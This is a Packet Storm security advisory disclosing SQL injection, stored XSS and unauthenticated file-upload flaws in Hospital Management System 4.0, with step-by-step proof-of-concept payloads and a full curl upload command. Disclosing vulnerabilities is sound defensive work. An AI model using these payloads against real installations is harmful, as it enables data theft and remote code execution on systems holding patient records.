what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Hospital Management System 4.0 XSS / Shell Upload / SQL Injection

Hospital Management System 4.0 XSS / Shell Upload / SQL Injection
Posted Dec 22, 2023
Authored by Louise Ng, Chris Chan

Hospital Management System versions 4.0 and below suffer from cross site scripting, remote shell upload, and remote SQL injection vulnerabilities.

tags | exploit, remote, shell, vulnerability, xss, sql injection, file upload
advisories | CVE-2020-26627, CVE-2020-26628, CVE-2020-26629, CVE-2020-26630
SHA-256 | 4c4cb4162e1a493a04ab18896d55ef8649d628f41d3426944382f8e72a0ea4f9

Hospital Management System 4.0 XSS / Shell Upload / SQL Injection

Change Mirror Download
Description: Mutiple vulnerabilties were discovered in Hospital Management System
Affected CMS: Hospital Management System
Affected Version: <= 4.0
CVE ID: CVE-2020-26627, CVE-2020-26628, CVE-2020-26629, CVE-2020-26630
CVSS Score: 7.2 (High)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Discoverers: Chris Chan @ UDomain Web Hosting Co.Ltd, Louise Ng @ UDomain Web Hosting Co.Ltd

Multiple vulnerabilities were discovered in Hospital Management System v4.0 and before which allows a remote attacker to execute arbitary web scripts.
Proof of Concept:
Attack Vector 1 (Time-Based SQL injection):
Step 1.) Login admin
Step 2.) Go to Conatctus Queries -> unread query -> type something in admin remark (e.g test) and submit
Step 3.) Replace the POST body to below payload and server will respond after 5 second.
adminremark='/**/AND/**/(SELECT/**/1/**/FROM/**/(SELECT(SLEEP(5)))CXde)/**/AND/**/'a'='a&update=

Attack Vector 2 (Time-Based SQL injection):
Step 1.) Login admin
Step 2.) Go to Doctors -> Doctor Specialization -> Click Submit
Step 3.) Replace the POST body to below payload and server will respond after 5 second.
doctorspecilization='/**/AND/**/(SELECT/**/1/**/FROM/**/(SELECT(SLEEP(5)))CXde)/**/AND/**/'a'='a&submit=

Attack Vector 3 (Cross Site Scripting (XSS)):
After attacker login, attacker can append malicious javascript behind their name. Other people will trigger xss when they visit this user.
Step 1.) Login patient page
Step 2.) Got to My Profile>Edit Profile.
Step 3.) Append <ScRiPt >alert("poc")</ScRiPt> behind username and save
Step 4.) Other user visit this profile will trigger xss

Attacker Vector 4 (Unauthenticated Arbitrary File Upload):
The HMS is using a vulnerable jquery file upload. Attacker can upload any file to server and trigger it.
Step 1.) upload file with below curl command:
curl -i -s -k -X $'POST' \
-H $'Content-Type: multipart/form-data; boundary=a211583f728c46a09ca726497e0a5a9f' -H $'Host: localhost' -H $'Content-Length: 164' \
--data-binary $'--a211583f728c46a09ca726497e0a5a9f\x0d\x0aContent-Disposition: form-data; name=\"files[]\"; filename=\"info.php\"\x0d\x0a\x0d\x0a<?php phpinfo(); ?>\x0d\x0a--a211583f728c46a09ca726497e0a5a9f--' \
$'http://localhost/hsm/hms/admin/vendor/jquery-file-upload//server/php/index.php'
Step 2.) visit the url in response and trigger the php file.



Recommendation
Update to v5.2.0

https://phpgurukul.com/contact-us/
https://phpgurukul.com/hospital-management-system-in-php
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    34 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close